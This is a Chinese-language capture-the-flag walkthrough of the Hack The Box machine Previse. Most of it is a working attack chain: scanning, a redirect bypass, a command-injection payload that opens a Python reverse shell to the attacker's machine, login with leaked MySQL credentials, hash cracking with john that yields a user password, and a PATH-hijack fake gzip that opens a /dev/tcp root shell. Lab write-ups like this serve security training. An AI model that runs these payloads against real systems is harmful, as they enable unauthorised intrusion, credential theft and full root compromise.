信息收集
使用nmap進行掃描:
發現了80port 和 22port,先進去80
nmap -sC -sV 10.10.11.104
這邊出現一個可以登入的網頁,先用fuff掃描看看有沒有其他目錄
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt -e php,html,txt -mc 200,302,301 -t 100 -u http://10.10.11.104/FUZZ
直接訪問所有頁面都會跳轉回去首頁,使用burpsuite來試試看
因為這邊會302導向到首頁去,所以要Response to this request,把302改成200就可以順利進入accounts.php頁面
這邊先註冊一個使用者名稱,並且登入看看。
到files裡面有看到 siteback.zip 看起來是站點備份檔案…?
下載打開之後,在logs.php和config.php裡面發現一些東西
2.logs.php 有使用到exec()函數
簡單來說這個函數可以透過php來執行系統命令,這又稱為RCE(Remote Command/Code Execute)
漏洞利用
MANAGEMENT MENU > LOG DATA > SUBMIT
delim=comma;python3+-c+'import+os,pty,socket%3bs%3dsocket.socket()%3bs.connect(("自己的IP",4444)) %3b[os.dup2(s.fileno(),f)for+f+in(0,1,2)]%3bpty.spawn("/bin/bash")' 因為這邊的paylod是屬於reverse shell,所以要記得填上自己的機器IP。
nc -nvlp 4444
輸入id,出現uid=33(www-data) gid=33(www-data) groups=33(www-data)。
到目前為止已經成功連線進靶機裡面了,接下來要使用剛剛取得的DB帳密來進行下一步攻擊。
登入mysql
mysql -u root -p Enter password: mySQL_p@ssw0rd!:) show databases; use previse; show tables; select * from accounts;
john破解密碼,因為這邊我已經跑過了,直接使用 –show 就可以查看過去的紀錄
john -format=md5crypt-long --wordlist=/usr/share/wordlists/rockyou.txt pw
username = m4lwhere password = ilovecody112235!
到目前為止已經成功拿到一般使用者權限了,最後一個步驟”提權/Privilege Escalation”。
提權
先使用suod -l 來看看m4lwhere用戶的sudo權限。
這個檔案當中直接引入了二進制文件,這可能會有存在path injection漏洞
這邊要創建一份惡意檔案讓系統使用sudo執行,進而取得sudo權限
m4lwhere@previse:~$ cd /tmp m4lwhere@previse:/tmp$ ls systemd-private-d085308c77194968bd2248c5047e9e7d-apache2.service-SHI4Vf systemd-private-d085308c77194968bd2248c5047e9e7d-systemd-resolved.service-c4hkjA systemd-private-d085308c77194968bd2248c5047e9e7d-systemd-timesyncd.service-oovQQq vmware-root_904-2697008433 m4lwhere@previse:/tmp$ echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin m4lwhere@previse:/tmp$ vim gzip m4lwhere@previse:/tmp$ cat gzip #!/bin/bash bash -i >& /dev/tcp/自己的IP/8888 0>&1 m4lwhere@previse:/tmp$ chmod +x gzip m4lwhere@previse:/tmp$ export PATH=/tmp:$PATH m4lwhere@previse:/tmp$ echo $PATH /tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin m4lwhere@previse:/tmp$ sudo /opt/scripts/access_backup.sh
reverse shell:
┌──(root💀kali)-[~] └─# nc -nvlp 8888 listening on [any] 8888 ... connect to [10.10.17.216] from (UNKNOWN) [10.10.11.104] 51322 root@previse:/tmp# id id uid=0(root) gid=0(root) groups=0(root) root@previse:/tmp# whoami whoami root root@previse:~# cd /root cd /root root@previse:/root# ls ls root.txt root@previse:/root# cat root.txt cat root.txt ************************ root@previse:/root#